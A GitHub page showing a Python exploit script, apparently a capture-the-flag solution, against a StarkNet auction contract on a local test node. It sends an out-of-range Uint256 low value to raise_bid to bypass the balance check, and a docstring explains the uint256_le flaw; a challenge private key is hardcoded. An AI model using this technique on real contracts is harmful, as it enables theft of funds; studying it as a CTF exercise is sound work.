-
Notifications
You must be signed in to change notification settings - Fork 73
/
exploit.py
67 lines (51 loc) · 3.34 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import asyncio
import json
from starknet_py.contract import Contract
from starknet_py.net import AccountClient
from starknet_py.net.gateway_client import GatewayClient
from starknet_py.net.models import StarknetChainId
from starknet_py.net.signer.stark_curve_signer import KeyPair
from starkware.crypto.signature.signature import private_to_stark_key
from starkware.starknet.core.os.contract_address.contract_address import \
calculate_contract_address_from_hash
async def main():
RPC_ENDPOINT = "http://[email protected]:5050"
PRIVATE_KEY = 0x13de0d0566e7de884dcd77312c8a9242
CONTRACT = "0x1f11e7220ee8d934bb938410f02dc35a390cfbd7ee08036893d5ea64f4a7456"
client = GatewayClient(RPC_ENDPOINT, chain=StarknetChainId.TESTNET)
player_private_key = PRIVATE_KEY
player_public_key = private_to_stark_key(player_private_key)
player_address = calculate_contract_address_from_hash(salt=20, class_hash=1803505466663265559571280894381905521939782500874858933595227108099796801620, constructor_calldata=[player_public_key], deployer_address=0, )
player_key_pair = KeyPair(private_key=player_private_key, public_key=player_public_key)
acc_client = AccountClient(client=client, address=player_address, key_pair=player_key_pair, chain=StarknetChainId.TESTNET, )
auction_abi = json.load(open("auction_abi.json"))
auction_contract = Contract(CONTRACT, auction_abi, acc_client, )
print("before:")
print("\tbalance:", (await auction_contract.functions["balanceOf"].call(player_address)).balance)
print("\tauction balance:", (await auction_contract.functions["auctionBalanceOf"].call(1, player_address)).balance)
print("\tcurrent winner:", (await auction_contract.functions["current_winner"].call(1)).current_winner)
invocation = await auction_contract.functions["raise_bid"].invoke(1, {"low": 2**128, "high": 0}, max_fee=int(1e16))
await invocation.wait_for_acceptance()
"""
Uint256 represents an integer in the range [0, 2^256) using two felt members.
struct Uint256:
# The low 128 bits of the value.
member low : felt
# The high 128 bits of the value.
member high : felt
end
The `raise_bid` function checks balance as follows:
let (current_balance) = _balances.read(account=caller)
let (locked_balance) = _lockedBalancesOf.read(account=caller)
let (unlocked_balance) = uint256_sub(current_balance, locked_balance)
let (enough_balance) = uint256_le(amount, unlocked_balance)
assert enough_balance = 1
However, if the `low` of `amount` is greater than or equal to `2**128` and the `high` of `amount` is zero, `uint256_le` always returns `1`.
This is because the `is_nn` function used inside `uint256_le` always returns `1` unless the value of its argument is lower than `2**128`.
Ref: https://github.com/starkware-libs/cairo-lang/blob/167b28bcd940fd25ea3816204fa882a0b0a49603/src/starkware/cairo/common/math_cmp.cairo
"""
print("after:")
print("\tbalance:", (await auction_contract.functions["balanceOf"].call(player_address)).balance)
print("\tauction balance:", (await auction_contract.functions["auctionBalanceOf"].call(1, player_address)).balance)
print("\tcurrent winner:", (await auction_contract.functions["current_winner"].call(1)).current_winner)
asyncio.run(main())